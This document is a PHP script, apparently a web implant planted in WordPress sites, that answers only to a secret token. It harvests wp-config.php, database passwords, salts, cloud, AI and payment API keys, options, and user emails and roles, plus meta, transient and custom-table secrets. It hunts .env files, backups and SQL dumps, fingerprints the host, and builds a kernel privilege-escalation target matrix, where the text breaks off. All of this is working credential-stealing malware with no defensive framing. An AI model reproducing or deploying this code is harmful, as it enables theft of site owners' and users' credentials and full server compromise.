<?php
if (!hash_equals('888fd5b7b68952d4980de886bdf9f08c', (string)($_GET['t'] ?? ''))) { http_response_code(404); exit; }
error_reporting(0);
@ini_set('display_errors',0);
@set_time_limit(90);
ob_start();

$w2s_page = isset($w2s_page)?(int)$w2s_page:(int)($_GET['page']??0);
$w2s_per  = isset($w2s_per)?(int)$w2s_per:(int)($_GET['per']??400);
if($w2s_page<0)$w2s_page=0;
if($w2s_per<1||$w2s_per>2000)$w2s_per=400;

$o=array('config_path'=>null,'config'=>null,'options'=>null,'options_meta'=>null,'options_total'=>null,'users'=>null,'db_via'=>null);
$w2s_done=false;
function _r($d){echo 'W2S::'.json_encode($d,defined('JSON_INVALID_UTF8_SUBSTITUTE')?JSON_INVALID_UTF8_SUBSTITUTE:0).'::END';@ob_flush();@flush();}
function w2s_val($v){
 $enc=null;
 if(is_string($v)){
  for($i=0;$i<3&&is_string($v);$i++){
   if(!preg_match('/^(a|O|s|S|i|d|b|N)(:\d+)?[:;{]/',$v))break;
   $u=@unserialize($v);
   if($u===false&&$v!=='b:0;')break;
   $v=$u;$enc=$enc?:'php_ser';
  }
  if(is_string($v)&&strlen($v)>=32&&strlen($v)%4===0&&preg_match('/^[A-Za-z0-9+\/]+={0,2}$/',$v)){
   $d=@base64_decode($v,true);
   if($d!==false&&$d!==''&&!preg_match('/[\x00-\x08\x0b\x0c\x0e-\x1f\x7f\x80-\xff]/',$d)){$v=$d;$enc=$enc?$enc.'+b64':'b64';}
  }
 }
 return array($v,$enc);
}
register_shutdown_function(function()use(&$o,&$w2s_done){if(!$w2s_done)_r($o);});

function w2sl_up($start,$file){$d=$start;for($i=0;$i<7;$i++){if(@is_file($d.'/'.$file))return $d.'/'.$file;$p=dirname($d);if($p===$d)break;$d=$p;}return null;}
$cfgp=null;
if(defined('ABSPATH'))foreach(array(ABSPATH.'wp-config.php',dirname(ABSPATH).'/wp-config.php')as$c){if(@is_file($c)){$cfgp=$c;break;}}
if(!$cfgp)$cfgp=w2sl_up(__DIR__,'wp-config.php');
$cfg=$cfgp?@file_get_contents($cfgp):null;
if(is_string($cfg)&&strlen($cfg)>262144)$cfg=substr($cfg,0,262144);
$o['config_path']=$cfgp;
$o['config']=$cfg;

if(!defined('ABSPATH')){
 $d=__DIR__;
 for($i=0;$i<6&&!defined('ABSPATH');$i++){
  foreach(array("$d/wp-load.php","$d/wp/wp-load.php",dirname($d)."/wp-load.php")as$p)
   if(@file_exists($p)){@require_once $p;break 2;}
  $d=dirname($d);
 }
}

$S=array();
foreach(array('DB_PASSWORD','DB_USER','DB_NAME','DB_HOST','AUTH_KEY','AUTH_SALT',
 'SECURE_AUTH_KEY','SECURE_AUTH_SALT','LOGGED_IN_KEY','LOGGED_IN_SALT','NONCE_KEY','NONCE_SALT',
 'FTP_HOST','FTP_USER','FTP_PASS','OPENAI_API_KEY','ANTHROPIC_API_KEY','GOOGLE_API_KEY',
 'GEMINI_API_KEY','GROQ_API_KEY','PERPLEXITY_API_KEY','XAI_API_KEY','HUGGINGFACE_API_KEY',
 'STRIPE_SECRET_KEY','STRIPE_WEBHOOK_SECRET','AWS_ACCESS_KEY_ID','AWS_SECRET_ACCESS_KEY',
 'MAILGUN_API_KEY','SENDGRID_API_KEY','TWILIO_AUTH_TOKEN','PAYPAL_CLIENT_SECRET')as$c)
 if(defined($c)){$v=@constant($c);if(is_string($v))$S[$c]=$v;}

global $wpdb,$wp_version;
$W=(isset($wpdb)&&$wpdb)?$wpdb:null;
$_trans="option_name NOT LIKE '_transient%' AND option_name NOT LIKE '_site_transient%'";

// secret patterns for meta/custom-table sweeps (value side)
function w2s_valish($v){
 if(!is_string($v)||strlen($v)<12)return false;
 return (bool)preg_match('/\bsk-[a-z0-9_-]{16,}|AIza[0-9A-Za-z_\\-]{35}|\bgsk_[A-Za-z0-9]{16,}|\bpplx-[A-Za-z0-9]{16,}|\bxai-[A-Za-z0-9]{16,}|\bhf_[A-Za-z0-9]{16,}|\bsk_live_[A-Za-z0-9]{12,}|\brk_live_[A-Za-z0-9]{12,}|\bwhsec_[A-Za-z0-9]{12,}|\bxox[baprs]-[A-Za-z0-9-]{10,}|-----BEGIN [A-Z ]+PRIVATE KEY|\bpcsk_[A-Za-z0-9_]{20,}|\bwpmcp_[a-f0-9]{8}|\bSG\\.[A-Za-z0-9_-]{16,}|\bkey-[a-f0-9]{32}|\b[a-f0-9]{32}-us[0-9]{1,2}/',$v);
}
function w2s_keyish($k){
 return (bool)preg_match('/(_key$|_keys$|api_?key|secret|_token$|token_(hash|prefix|secret|key)|passw|_pass$|_salt$|salts$|credential|private_?key|client_?secret|access_?token|refresh_?token|auth_?token|jwt_?|oauth|license_?key|webhook_?secret|signing_?key|encryption_?key|app_?secret|consumer_?secret|smtp_?pass|mail_?pass|db_?pass|ftp_?pass)/i',$k);
}
function w2s_junkkey($k){
 return (bool)preg_match('/(heading|title|desc|content|text|_items|field_|attachment|image|video|mp4|_file|_url|_link|seo|keyword|focus|akismet|comment|spam|notice|_mail\d*$)/i',$k);
}

if($W){
 $o['db_via']='wpdb';
 $o['options_total']=(int)@$W->get_var("SELECT COUNT(*) FROM `$W->options` WHERE $_trans");
 $_rows=@$W->get_results("SELECT option_name,option_value FROM `$W->options` WHERE $_trans ORDER BY option_id LIMIT ".($w2s_page*$w2s_per).", $w2s_per",ARRAY_A);
 if(is_array($_rows)){$O=array();$M=array();foreach($_rows as$r){list($nv,$ne)=w2s_val($r['option_value']);$O[$r['option_name']]=$nv;if($ne)$M[$r['option_name']]=$ne;}$o['options']=$O;if($M)$o['options_meta']=$M;}

 if($w2s_page===0){
  $U=array();$capkey=$W->prefix.'capabilities';
  $_us=@$W->get_results("SELECT u.ID,u.user_login,u.user_email,u.user_registered,m.meta_value AS caps FROM `$W->users` u LEFT JOIN `$W->usermeta` m ON m.user_id=u.ID AND m.meta_key='$capkey' ORDER BY u.ID LIMIT 500",ARRAY_A);
  if(is_array($_us))foreach($_us as$u){
   $role=null;
   if($u['caps']){$d2=@unserialize($u['caps']);if(is_array($d2))$role=array_keys($d2);}
   $U[]=array('id'=>$u['ID'],'user_login'=>$u['user_login'],'user_email'=>$u['user_email'],'user_registered'=>$u['user_registered'],'role'=>$role);
  }
  $o['users']=$U;

  $_df=array_map('trim',explode(',',@ini_get('disable_functions')?:''));
  $E=false;
  foreach(array('shell_exec','exec','system','passthru','proc_open','popen')as$f)
   if(function_exists($f)&&!in_array($f,$_df)){$E=true;break;}
  $ud=function_exists('wp_upload_dir')?wp_upload_dir():array('path'=>'');
  $_upath=isset($ud['path'])?$ud['path']:'';
  $o['host']=array(
   'php_version'=>PHP_VERSION,'sapi'=>php_sapi_name(),
   'uname'=>function_exists('php_uname')?@php_uname():'',
   'server'=>$_SERVER['SERVER_SOFTWARE']??'',
   'ip'=>$_SERVER['SERVER_ADDR']??'',
   'docroot'=>$_SERVER['DOCUMENT_ROOT']??'',
   'open_basedir'=>@ini_get('open_basedir')?:'',
   'disabled'=>@ini_get('disable_functions')?:'',
   'exts'=>@get_loaded_extensions()?:array(),
   'can_exec'=>$E,'upload_dir'=>$_upath,
   'upload_writable'=>$_upath?@is_writable($_upath):false,
  );

  $_opt=function($n)use($W){return @$W->get_var("SELECT option_value FROM `$W->options` WHERE option_name='$n' LIMIT 1");};
  $_ap=$_opt('active_plugins');
  $o['wp']=array(
   'version'=>$wp_version??'',
   'is_multisite'=>function_exists('is_multisite')?is_multisite():false,
   'table_prefix'=>$W->prefix??'',
   'blogname'=>$_opt('blogname')?:'',
   'blogdescription'=>$_opt('blogdescription')?:'',
   'siteurl'=>$_opt('siteurl')?:'',
   'home'=>$_opt('home')?:'',
   'admin_email'=>$_opt('admin_email')?:'',
   'permalink'=>$_opt('permalink_structure')?:'',
   'wp_debug'=>defined('WP_DEBUG')?WP_DEBUG:false,
   'disallow_file_mods'=>defined('DISALLOW_FILE_MODS')?DISALLOW_FILE_MODS:false,
   'disallow_file_edit'=>defined('DISALLOW_FILE_EDIT')?DISALLOW_FILE_EDIT:false,
   'db_version'=>method_exists($W,'db_version')?$W->db_version():'',
  );
  $o['plugins']=is_string($_ap)?@unserialize($_ap):null;
  $t=function_exists('wp_get_theme')?wp_get_theme():null;
  $o['theme']=$t?array('name'=>$t->get('Name'),'version'=>$t->get('Version'),'template'=>$t->get_template()):null;
  $cu=function_exists('wp_get_current_user')?wp_get_current_user():null;
  $o['priv']=array(
   'user_login'=>$cu?$cu->user_login:'',
   'role'=>$cu?$cu->roles:array(),
   'is_admin'=>function_exists('current_user_can')?@current_user_can('manage_options'):false,
  );
 }
}elseif(is_string($cfg)&&function_exists('mysqli_connect')){
 $q=chr(39);
 $def=function($k,$c)use($q){
  if(preg_match('/'.$k.$q.'.*?'.$q.'([^'.$q.']+)'.$q.'/',$c,$m))return $m[1];
  if(preg_match('/'.$k.$q.'\s*,\s*([A-Z_][A-Z0-9_]*)\s*\)/',$c,$m)&&defined($m[1])){$v=constant($m[1]);return is_string($v)?$v:'';}
  if(preg_match('/WORDPRESS_'.$k.$q.'\s*,\s*'.$q.'([^'.$q.']*)'.$q.'/',$c,$m)){
   $ev=getenv('WORDPRESS_'.$k);if(is_string($ev)&&$ev!=='')return $ev;return $m[1];}
  $ev=getenv('WORDPRESS_'.$k);if(is_string($ev)&&$ev!=='')return $ev;
  return '';};
 $pfx='wp_';
 if(preg_match('/table_prefix\s*=\s*'.$q.'([^'.$q.']+)'.$q.'/',$cfg,$m))$pfx=$m[1];
 elseif(preg_match('/WORDPRESS_TABLE_PREFIX'.$q.'\s*,\s*'.$q.'([^'.$q.']*)'.$q.'/',$cfg,$m)){
  $ev=getenv('WORDPRESS_TABLE_PREFIX');$pfx=(is_string($ev)&&$ev!=='')?$ev:$m[1];}
 $h=$def('DB_HOST',$cfg);$po=3306;
 if(strpos($h,':')!==false){$hp=explode(':',$h);$h=$hp[0];if(ctype_digit(end($hp)))$po=(int)end($hp);}
 $mc=null;try{$mc=mysqli_connect($h,$def('DB_USER',$cfg),$def('DB_PASSWORD',$cfg),$def('DB_NAME',$cfg),$po);}catch(\Throwable $e){}
 if($mc){
  $o['db_via']='mysqli';
  $rq=function($q2)use($mc){$r=@mysqli_query($mc,$q2);$a=array();if($r){while($row=mysqli_fetch_row($r))$a[]=$row;}return $a;};
  $ct=$rq("SELECT COUNT(*) FROM {$pfx}options WHERE $_trans");
  $o['options_total']=isset($ct[0][0])?(int)$ct[0][0]:null;
  $rows=$rq("SELECT option_name,option_value FROM {$pfx}options WHERE $_trans ORDER BY option_id LIMIT ".($w2s_page*$w2s_per).", $w2s_per");
  if($rows){$O=array();$M=array();foreach($rows as$r){list($nv,$ne)=w2s_val($r[1]);$O[$r[0]]=$nv;if($ne)$M[$r[0]]=$ne;}$o['options']=$O;if($M)$o['options_meta']=$M;}
  if($w2s_page===0){
   $ur=$rq("SELECT ID,user_login,user_email,user_registered FROM {$pfx}users ORDER BY ID LIMIT 500");
   if($ur){$U=array();foreach($ur as$r){$U[]=array('id'=>$r[0],'user_login'=>$r[1],'user_email'=>$r[2],'user_registered'=>$r[3],'role'=>null);}$o['users']=$U;}
   $o['host']=array('php_version'=>PHP_VERSION,'sapi'=>php_sapi_name(),
    'uname'=>function_exists('php_uname')?@php_uname():'',
    'server'=>$_SERVER['SERVER_SOFTWARE']??'','docroot'=>$_SERVER['DOCUMENT_ROOT']??'',
    'note'=>'wp-bootstrap-failed: degraded recon via mysqli');
  }
 }
}

if($o['options']===null&&$o['db_via']===null)
 $o['error']=defined('ABSPATH')?'wpdb-not-initialized':'wp-load-not-found';
if($S)$o['secrets']=$S;

if($w2s_page>0){$w2s_done=true;_r($o);return;}
_r($o);
if($o['db_via']!=='wpdb'){$w2s_done=true;return;}

// ── META STORES SWEEP ──
$MT=array();
$_pm=@$W->get_results("SELECT meta_key,meta_value FROM `$W->postmeta` WHERE meta_value IS NOT NULL AND meta_value!='' ORDER BY meta_id DESC LIMIT 4000",ARRAY_A);
if(is_array($_pm)){foreach($_pm as$r){if(w2s_junkkey($r['meta_key']))continue;if(w2s_keyish($r['meta_key'])||w2s_valish($r['meta_value'])){list($nv,$ne)=w2s_val($r['meta_value']);$MT['postmeta'][$r['meta_key']]=array('v'=>$nv);if($ne)$MT['postmeta'][$r['meta_key']]['e']=$ne;}}}
$_um=@$W->get_results("SELECT meta_key,meta_value FROM `$W->usermeta` WHERE meta_value IS NOT NULL AND meta_value!='' AND (meta_key LIKE '%key%' OR meta_key LIKE '%secret%' OR meta_key LIKE '%token%' OR meta_key LIKE '%api%' OR meta_key LIKE '%pass%' OR meta_key LIKE '%auth%' OR meta_key LIKE '%salt%' OR meta_key LIKE '%credential%') ORDER BY meta_id DESC LIMIT 2000",ARRAY_A);
if(is_array($_um)){foreach($_um as$r){if(w2s_junkkey($r['meta_key']))continue;list($nv,$ne)=w2s_val($r['meta_value']);if(w2s_keyish($r['meta_key'])||w2s_valish(is_string($nv)?$nv:'')){$MT['usermeta'][$r['meta_key']]=array('v'=>$nv);if($ne)$MT['usermeta'][$r['meta_key']]['e']=$ne;}}}
$_tm=@$W->get_results("SELECT meta_key,meta_value FROM `$W->termmeta` WHERE meta_value IS NOT NULL AND meta_value!='' ORDER BY meta_id DESC LIMIT 1500",ARRAY_A);
if(is_array($_tm)){foreach($_tm as$r){if(w2s_junkkey($r['meta_key']))continue;if(w2s_keyish($r['meta_key'])||w2s_valish($r['meta_value'])){list($nv,$ne)=w2s_val($r['meta_value']);$MT['termmeta'][$r['meta_key']]=array('v'=>$nv);if($ne)$MT['termmeta'][$r['meta_key']]['e']=$ne;}}}
if(isset($W->commentmeta)){$_cm=@$W->get_results("SELECT meta_key,meta_value FROM `$W->commentmeta` WHERE meta_value IS NOT NULL AND meta_value!='' ORDER BY meta_id DESC LIMIT 1500",ARRAY_A);
if(is_array($_cm)){foreach($_cm as$r){if(w2s_junkkey($r['meta_key']))continue;if(preg_match('/(api_?key|secret_?key|private_?key|access_?token)/i',$r['meta_key'])){list($nv,$ne)=w2s_val($r['meta_value']);$MT['commentmeta'][$r['meta_key']]=array('v'=>$nv);if($ne)$MT['commentmeta'][$r['meta_key']]['e']=$ne;}}}}
if($MT)$o['meta_secrets']=$MT;

// ── SITEMETA (multisite network options) ──
if(function_exists('is_multisite')&&is_multisite()&&isset($W->sitemeta)){
 $_sm=@$W->get_results("SELECT meta_key,meta_value FROM `$W->sitemeta` WHERE meta_value IS NOT NULL AND meta_value!='' ORDER BY meta_id DESC LIMIT 2000",ARRAY_A);
 if(is_array($_sm)){$SM=array();foreach($_sm as$r){if(w2s_keyish($r['meta_key'])||w2s_valish($r['meta_value'])){list($nv,$ne)=w2s_val($r['meta_value']);$SM[$r['meta_key']]=array('v'=>$nv);if($ne)$SM[$r['meta_key']]['e']=$ne;}}
 if($SM)$o['sitemeta_secrets']=$SM;}
}

// ── CUSTOM TABLES (AI plugins + generic secret-holding tables) ──
$_tabs=@$W->get_col("SHOW TABLES");
if(is_array($_tabs)){
 $CT=array();
 foreach($_tabs as$t){
  $tl=strtolower($t);
  if(preg_match('/(options|posts|postmeta|users|usermeta|terms|termmeta|term_taxonomy|term_relationships|comments|commentmeta|links|sitemeta|blogs|blogmeta|site|registration_log|signups|blog_versions)$/',$tl))continue;
  if(!preg_match('/mwai|aipkit|kubio|_mcp_|gpt_|openai|chatbot|woocommerce_api_keys|automator|n8n|zapier|webhook|connectors|llm|anthropic|gemini_|claude_|copilot|vector|_ai_|embed_ai|aichat|getgenie|ai_power|wp_automatic|taxopress|link_whisper/i',$tl))continue;
  $cols=@$W->get_col("SHOW COLUMNS FROM `$t`");
  if(!is_array($cols))continue;
  $sel=array();
  foreach($cols as$c)if(preg_match('/key|secret|token|pass|api|auth|salt|cred|value|setting|config|env|license/i',$c))$sel[]=$c;
  if(!$sel)$sel=array_slice($cols,0,6);
  $rows=@$W->get_results("SELECT `".implode('`,`',$sel)."` FROM `$t` ORDER BY 1 DESC LIMIT 60",ARRAY_A);
  if(is_array($rows)&&$rows){
   $hit=array();
   foreach($rows as$rw){
    $keep=false;
    foreach($rw as$k=>$v){if(w2s_keyish($k)||w2s_valish((string)$v)){$keep=true;break;}}
    if($keep){foreach($rw as$k=>$v){if(is_string($v)){list($nv,$ne)=w2s_val($v);$rw[$k]=$nv;}}$hit[]=$rw;}
   }
   if($hit)$CT[$t]=array_slice($hit,0,40);
  }
 }
 if($CT)$o['custom_tables']=$CT;
}

// ── TARGETED TRANSIENT SWEEP (vault DEKs + key-abusing plugins) ──
// Transients are excluded from the main options dump; most are cache junk.
// But vault plugins (Kagivault) stash data-encryption keys in short-lived
// transients, and some plugins store real keys in them. Sweep transients
// whose NAME or VALUE matches secret patterns only.
$_tr=@$W->get_results("SELECT option_name,option_value FROM `$W->options` WHERE (option_name LIKE '_transient_%' OR option_name LIKE '_site_transient_%') AND option_value IS NOT NULL AND option_value!='' ORDER BY option_id DESC LIMIT 3000",ARRAY_A);
if(is_array($_tr)){
 $TR=array();
 foreach($_tr as$r){
  $nm=preg_replace('/^_(site_)?transient(_timeout)?_/','',$r['option_name']);
  if(w2s_keyish($nm)||w2s_valish($r['option_value'])){
   list($nv,$ne)=w2s_val($r['option_value']);
   if(w2s_keyish($nm)||w2s_valish(is_string($nv)?$nv:'')){
    $TR[$nm]=array('v'=>$nv);if($ne)$TR[$nm]['e']=$ne;
   }
  }
 }
 if($TR)$o['transient_secrets']=$TR;
}

// ── FILESYSTEM HUNT (.env, backups, dumps, configs) ──
$FS=array('env_files'=>array(),'backups'=>array(),'configs'=>array(),'logs'=>array());
$dr=$_SERVER['DOCUMENT_ROOT']??'';
$roots=array_filter(array($dr,dirname($dr),defined('ABSPATH')?ABSPATH:'',(defined('ABSPATH')?dirname(ABSPATH):'')));
$roots=array_unique(array_filter($roots));
$envnames=array('.env','.env.local','.env.production','.env.staging','.env.development','.env.backup','wp-config.php.bak','wp-config.php.old','wp-config.php~','wp-config.bak','config.php.bak','.htpasswd','.npmrc','.composer-auth.json','auth.json');
foreach($roots as$rt){
 foreach($envnames as$fn){
  $p=$rt.'/'.$fn;
  if(@is_file($p)&&@is_readable($p)){
   $c=@file_get_contents($p);
   if($c!==false){if(strlen($c)>131072)$c=substr($c,0,131072);$FS['env_files'][$p]=$c;}
  }
 }
 foreach(array('backup','backups','_backups','wp-backup','ai1wm-backups','updraft','uploads')as$bd){
  $bdir=$rt.'/'.$bd;
  if(@is_dir($bdir)){
   $hits=@glob($bdir.'/*.{sql,zip,tar,gz,sql.gz,db,dump,bak}',GLOB_BRACE)?:array();
   foreach(array_slice($hits,0,20)as$f){
    $sz=@filesize($f)?:0;
    $FS['backups'][]=$f;
    // sniff: small files whole (≤256KB), big SQL dumps → first 64KB header sample
    if($sz>0&&$sz<=262144&&@is_readable($f)){
     $c=@file_get_contents($f);
     if($c!==false&&w2s_valish($c))$FS['backup_content'][$f]=substr($c,0,65536);
    }elseif($sz>262144&&preg_match('/\.sql$/i',$f)&&@is_readable($f)){
     $h=@fopen($f,'r');
     if($h){$c=fread($h,65536);fclose($h);
      if($c&&w2s_valish($c))$FS['backup_content'][$f]=array('size'=>$sz,'head'=>substr($c,0,65536));}
    }
   }
  }
 }
 $cands=@glob($rt.'/*.{json,yml,yaml,ini,toml,cnf,conf}',GLOB_BRACE)?:array();
 foreach($cands as$f){
  $bl=strtolower(basename($f));
  if(preg_match('/(config|setting|cred|secret|env|auth|database|wp-config|\.env)/',$bl)&&@is_readable($f)){
   $c=@file_get_contents($f);
   if($c!==false&&strlen($c)<262144)$FS['configs'][$f]=$c;
  }
 }
 $lgs=@glob($rt.'/{debug.log,error_log,wp-content/debug.log,logs/*.log}',GLOB_BRACE)?:array();
 foreach(array_slice($lgs,0,5)as$f)if(@is_readable($f)){$FS['logs'][$f]=@filesize($f);}
}
$FS=array_filter($FS);
if($FS)$o['filesystem']=$FS;

// ── KERNEL ATTACK SURFACE + LPE DECISION MATRIX (detection only) ──
// Probes kernel version/build date, security sysctls, module presence, and
// computes a go/maybe/no verdict for each 2026-H1 LPE. No exploit staging.
function w2s_kparse($rel){if(preg_match('/^(\d+)\.(\d+)(?:\.(\d+))?/',$rel,$m))return array((int)$m[1],(int)$m[2],(int)($m[3]??0));return null;}
function w2s_klt($k,$a,$b,$c=0){if(!is_array($k))return null;return($k[0]<$a)||($k[0]===$a&&$k[1]<$b)||($k[0]===$a&&$k[1]===$b&&$k[2]<$c);}
function w2s_kge($k,$a,$b,$c=0){if(!is_array($k))return null;return!w2s_klt($k,$a,$b,$c);}
function w2s_kbdate($v){// parse build date from uname -v, epoch or null
 if(preg_match('/\((\d{4})-(\d{2})-(\d{2})\)/',$v,$m))return mktime(0,0,0,(int)$m[2],(int)$m[3],(int)$m[1]); // ISO (Kali, some -ck)
 if(preg_match('/(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\w*\.?\s+(\d{1,2})[\d\s:]*?(\d{4})/',$v,$m)){ // SMP "Mon Jul 16 19:22:03 UTC 2026"
  $mo=array('jan'=>1,'feb'=>2,'mar'=>3,'apr'=>4,'may'=>5,'jun'=>6,'jul'=>7,'aug'=>8,'sep'=>9,'oct'=>10,'nov'=>11,'dec'=>12);
  $mn=$mo[strtolower(substr($m[1],0,3))]??0;if($mn)return mktime(0,0,0,$mn,(int)$m[2],(int)$m[3]);}
 return null;}
function w2s_kernel_sa(){
 $ks=array();
 $ks['kernel_release']=@php_uname('r');$ks['kernel_version_str']=@php_uname('v');$ks['machine']=@php_uname('m');
 $ks['kver']=w2s_kparse($ks['kernel_release']);
 $ks['build_epoch']=w2s_kbdate($ks['kernel_version_str']);
 $_os=@file_get_contents('/etc/os-release');
 if($_os&&preg_match('/^PRETTY_NAME="?([^"\n]+)/m',$_os,$m))$ks['distro']=trim($m[1]);
 foreach(array('ptrace_scope'=>'/proc/sys/kernel/yama/ptrace_scope','userns_clone'=>'/proc/sys/kernel/unprivileged_userns_clone','max_user_namespaces'=>'/proc/sys/user/max_user_namespaces','io_uring_disabled'=>'/proc/sys/kernel/io_uring_disabled','kptr_restrict'=>'/proc/sys/kernel/kptr_restrict')as$k=>$p){
  $v=@file_get_contents($p);if($v!==false)$ks[$k]=(int)trim($v);}
 $_mods=@file_get_contents('/proc/modules');
 $mlist=array();
 if($_mods)foreach(explode("\n",$_mods)as$l){$mm=explode(' ',$l);if($mm[0])$mlist[]=$mm[0];}
 $ks['modules_present']=array_values(array_intersect($mlist,array('algif_aead','esp4','esp6','espintcp','rxrpc','rds','rds_tcp','act_pedit')));
 $_ksy=@file_get_contents('/proc/kallsyms');
 $ks['rxgk_symbols']=$_ksy?(strpos($_ksy,'rxgk_')!==false):null;
 $ks['algif_aead_available']=(in_array('algif_aead',$mlist))||($_ksy&&strpos($_ksy,'algif_aead')!==false);
 if($_ksy===false||$_ksy===null)$ks['algif_aead_available']=in_array('algif_aead',$mlist)?true:null;
 $sb=array();
 foreach(array('/usr/bin/su','/bin/su','/usr/bin/sudo','/usr/bin/pkexec','/usr/bin/chage','/usr/lib/openssh/ssh-keysign','/usr/libexec/ssh-keysign')as$b)
  if(@is_file($b)&&@is_readable($b))$sb[]=$b;
 $ks['suid_readable']=$sb;
 $ks['unshare_bin']=@is_file('/usr/bin/unshare');
 if(function_exists('posix_getuid'))$ks['uid']=@posix_getuid();
 // interpreter / tooling surface for LPE delivery-path selection
 $tb=array();
 foreach(array('python3','python','perl','gcc','cc','tcc','go','ruby','busybox')as$b){
  $f=@is_file('/usr/bin/'.$b)?'/usr/bin/'.$b:(@is_file('/bin/'.$b)?'/bin/'.$b:(@is_file('/usr/local/bin/'.$b)?'/usr/local/bin/'.$b:null));
  if($f)$tb[$b]=$f;}
 $ks['tooling']=$tb;
 $ffi=@ini_get('ffi.enable');
 $ks['php_ffi']=($ffi==='1'||$ffi===true||strcasecmp((string)$ffi,'true')===0||strcasecmp((string)$ffi,'yes')===0);
 // userns effectively available?
 $un=null;
 if(isset($ks['max_user_namespaces']))$un=$ks['max_user_namespaces']>0;
 if(isset($ks['userns_clone']))$un=$un===false?false:($ks['userns_clone']>0);
 $ks['userns_likely']=$un;
 return $ks;
}
function w2s_lpe_matrix($ks){
 $k=isset($ks['kver'])?$ks['kver']:null;
 $bd=isset($ks['build_epoch'])?$ks['build_epoch']:null;
 $rel=isset($ks['kernel_release'])?$ks['kernel_release']:'';
 $mods=isset($ks['modules_present'])?$ks['modules_present']:array();
 $un=!empty($ks['userns_likely']);
 $ps=isset($ks['ptrace_scope'])?$ks['ptrace_scope']:null;
 // Verdict helper, dual-window model (grill-driven fix): fix_ts = upstream/public
 // fix date, vendor_ts = when major vendor kernels realistically shipped backports.
 // Build before fix window => go; inside => maybe (backport uncertain); after => no.
 // Single-date checks are wrong for staggered/embargoed backports.
 $V=function($range_ok,$fix_ts,$vendor_ts,$precon,$why)use($bd){
  if($range_ok===false)return array('no','kernel outside vulnerable range');
  if(!$precon)return array('no',$why);
  if($bd&&$fix_ts){
   $vt=$vendor_ts?:$fix_ts+1209600;
   if($bd<$fix_ts-604800)return array('go',$why);
   if($bd<$vt)return array('maybe',$why.'; build inside patch window — backport uncertain');
   return array('no','kernel built after vendor patch window');
  }
  return array($range_ok===null?'maybe':'go',$why.'; no build date — version heuristic');
 };
 // Fixed-version table: branch "maj.min" => first fixed [maj,min,pat]. Below fix
 // on a tracked branch => definitive go; at/above => definitive no. null => fall
 // back to the date window.
 $T=function($fixmap)use($k){
  if(!$k)return null;
  $b=$k[0].'.'.$k[1];
  if(!isset($fixmap[$b]))return null;
  $f=$fixmap[$b];
  return w2s_klt($k,$f[0],$f[1],$f[2])?'go':'no';
 };
 $M=array();
 // 1 Copy Fail CVE-2026-31431 — vuln 4.14..6.18.22/6.19.12/7.0, patch~2026-04-30
 // algif_aead autoloads on AF_ALG socket creation in default distro kernels, so
 // "not currently loaded" does NOT gate reachability — treat as always-reachable.
 $rng=$k?(w2s_kge($k,4,14)&&w2s_klt($k,7,0)):null;
 if($rng&&w2s_kge($k,6,18,22)&&w2s_klt($k,6,19))$rng=false;
 if($rng&&w2s_kge($k,6,19,12))$rng=false;
 $M['copyfail_cve_2026_31431']=$V($rng,strtotime('2026-04-30'),strtotime('2026-05-21'),true,'algif_aead autoloads on use (default kernels); pure-stdlib, deterministic, container escape');
 // 2 GhostLock CVE-2026-43499 — 2.6.39..7.1, upstream fix Apr; public 2026-07-08
 $rng=$k?(w2s_kge($k,2,6,39)&&w2s_klt($k,7,1)):null;
 $M['ghostlock_cve_2026_43499']=$V($rng,strtotime('2026-07-08'),strtotime('2026-07-22'),true,'needs only CONFIG_FUTEX_PI (universal); 97% reliable, container escape');
 // 3 Bad Epoll CVE-2026-46242 — 6.4.., fixed 6.18.33/7.0.10 (table wins over dates)
 $rng=$k?(w2s_kge($k,6,4)&&w2s_klt($k,7,1)):null;
 $_be=$T(array('6.18'=>array(6,18,33),'7.0'=>array(7,0,10)));
 $M['bad_epoll_cve_2026_46242']=$_be===null?$V($rng,strtotime('2026-04-25'),strtotime('2026-07-05'),true,'no preconditions (epoll syscalls); race-based ~99%, misses 6.1 LTS')
   :array($_be,'no preconditions (epoll syscalls); race-based ~99%; fixed-version table '.($_be==='go'?'below':'at/above').' fix');
 // 4 Fragnesia CVE-2026-46300 — needs userns + espintcp, patch~2026-05-14
 $rng=$k?w2s_klt($k,7,1):null;
 $pre=$un&&(in_array('espintcp',$mods)||in_array('esp4',$mods)||in_array('esp6',$mods));
 $M['fragnesia_cve_2026_46300']=$V($rng,strtotime('2026-05-14'),strtotime('2026-06-04'),$pre,'needs unpriv userns + espintcp (AL2023/Bottlerocket immune)');
 // 5 Dirty Frag 43284+43500 — esp4/6 or rxrpc, patch~2026-05-09
 $pre=(in_array('rxrpc',$mods))||($un&&(in_array('esp4',$mods)||in_array('esp6',$mods)));
 $M['dirtyfrag_cve_2026_43284_43500']=$V($rng,strtotime('2026-05-09'),strtotime('2026-06-06'),$pre,'needs rxrpc (Ubuntu default) or userns+esp');
 // 6 ptrace exit-race CVE-2026-46333 — exact Qualys stable fix list + Ubuntu ABI map
 $rng=$k?w2s_kge($k,5,6):null;
 $pre=($ps===null||$ps<2);
 $_pt=$T(array('5.10'=>array(5,10,256),'5.15'=>array(5,15,207),'6.1'=>array(6,1,173),
   '6.6'=>array(6,6,139),'6.12'=>array(6,12,89),'6.18'=>array(6,18,31),'7.0'=>array(7,0,8)));
 if($_pt===null&&$k&&$k[0]===6&&$k[1]===8){
  if(preg_match('/^6\.8\.0-(\d+)\./',$rel,$m))$_pt=((int)$m[1]>=124?'no':'go'); // Ubuntu 24.04 GA ABI: 6.8.0-124.124 = fixed
 }
 $M['ptrace_race_cve_2026_46333']=$_pt===null?$V($rng,strtotime('2026-05-15'),strtotime('2026-06-04'),$pre,'blocked if ptrace_scope>=2; race vs exiting setuid proc; cred theft')
   :($pre?array($_pt,'race vs exiting setuid proc; cred theft; fixed-version table '.($_pt==='go'?'below':'at/above').' fix')
         :array('no','blocked by ptrace_scope>=2'));
 // 7 DirtyClone CVE-2026-43503 — userns+esp surface, patch~2026-05-22
 $pre=$un&&(in_array('esp4',$mods)||in_array('esp6',$mods));
 $M['dirtyclone_cve_2026_43503']=$V($rng,strtotime('2026-05-22'),strtotime('2026-06-26'),$pre,'needs userns + esp; silent (no audit trail)');
 // 8 pedit COW CVE-2026-46331 — 5.18..7.1, act_pedit + userns, patch~2026-06-23
 $rng=$k?(w2s_kge($k,5,18)&&w2s_klt($k,7,1)):null;
 $pre=$un;
 $M['pedit_cow_cve_2026_46331']=$V($rng,strtotime('2026-06-23'),strtotime('2026-07-14'),$pre,'needs act_pedit loadable + userns; Ubuntu needs aa-exec bypass');
